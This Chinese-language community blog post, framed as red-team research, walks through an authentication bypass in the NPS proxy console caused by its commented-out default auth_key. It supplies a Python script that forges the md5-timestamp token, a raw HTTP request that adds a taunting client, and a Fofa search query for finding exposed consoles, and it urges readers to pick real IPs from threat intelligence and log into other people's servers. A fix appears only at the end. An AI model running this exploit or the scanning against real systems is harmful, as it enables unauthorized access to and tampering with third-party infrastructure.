红队研究-突破NPS控制台

举报
亿人安全 发表于 2023/05/27 14:31:57 2023/05/27
【摘要】 红队反制-接管NPS控制台最近看到有意思的东西,参考千寻瀑的文章复现了一下https://github.com/ehang-io/nps/releases/tag/v0.26.10到github上下载相应的版本,我这里用的win就下载win相关的客户端和服务端下载完成后,输入以下命令,接着访问8080端口进入web页面,默认账号密码为 admin/123PLAINTEXT12nps.exe ...

红队反制-接管NPS控制台

最近看到有意思的东西,参考千寻瀑的文章复现了一下

https://github.com/ehang-io/nps/releases/tag/v0.26.10

到github上下载相应的版本,我这里用的win就下载win相关的客户端和服务端

image-20220805091359487

下载完成后,输入以下命令,接着访问8080端口进入web页面,默认账号密码为 admin/123

PLAINTEXT

1
2
nps.exe install
nps.exe start

image-20220805091108777

image-20220805092721972

客户端连接

image-20220805092917897

web控制台正常是需要密码才能登录的,但是由于默认配置导致可以伪造认证进行访问,就是时间有点短只有20s

漏洞位置位于web\controllers\base.go

image-20220805111434107

而在nps.conf配置文件里,auth_key默认是被注释掉的

image-20220805111610009

因此只需要添加auth_key和timestamp两个参数即可登入后台和使用相关功能点

使用脚本:

PLAINTEXT

1
2
3
4
5
6
7
8
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()

print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now)))

image-20220805111859126

把生成的字段填到url后面,直接登入后台

image-20220805112012370

相关功能点的使用也同样原理,本地把相关接口提取出来,然后替换相应的字段重新发包即可

比如这里新建了一个客户端id值为3,我们只需发包即可进行删除

image-20220805110538069

image-20220805110510165

可以看到相应的客户端已经被删除

image-20220805110629225

娱乐玩法:让红队感受一下我们的存在

PLAINTEXT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /client/add?auth_key=91062628846838dd081437f7b1f320a1&timestamp=1659667675 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 130
Origin: 
Connection: close
Referer: 

remark=&u=%E7%BA%A2%E9%98%9F%E3%80%81%E4%BD%A0%E8%A2%AB%E5%8F%8D%E5%88%B6%E4%BA%86&p=&vkey=&config_conn_allow=1&compress=0&crypt=0

image-20220805105151976

image-20220805104852473

Fofa语法:body=”NPS” && port=”8080”

接下来可以去威胁情报提取IP进行红队反制了,随机挑选一名幸运观众进去瞅瞅,瞅一眼就好了,再看就不礼貌了= =(也体恤一下RT兄弟辛苦搞来的口子)

image-20220805104423672

修复方案:把auth_key注释去掉重新编译就好,不要直接下载github的release版本

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。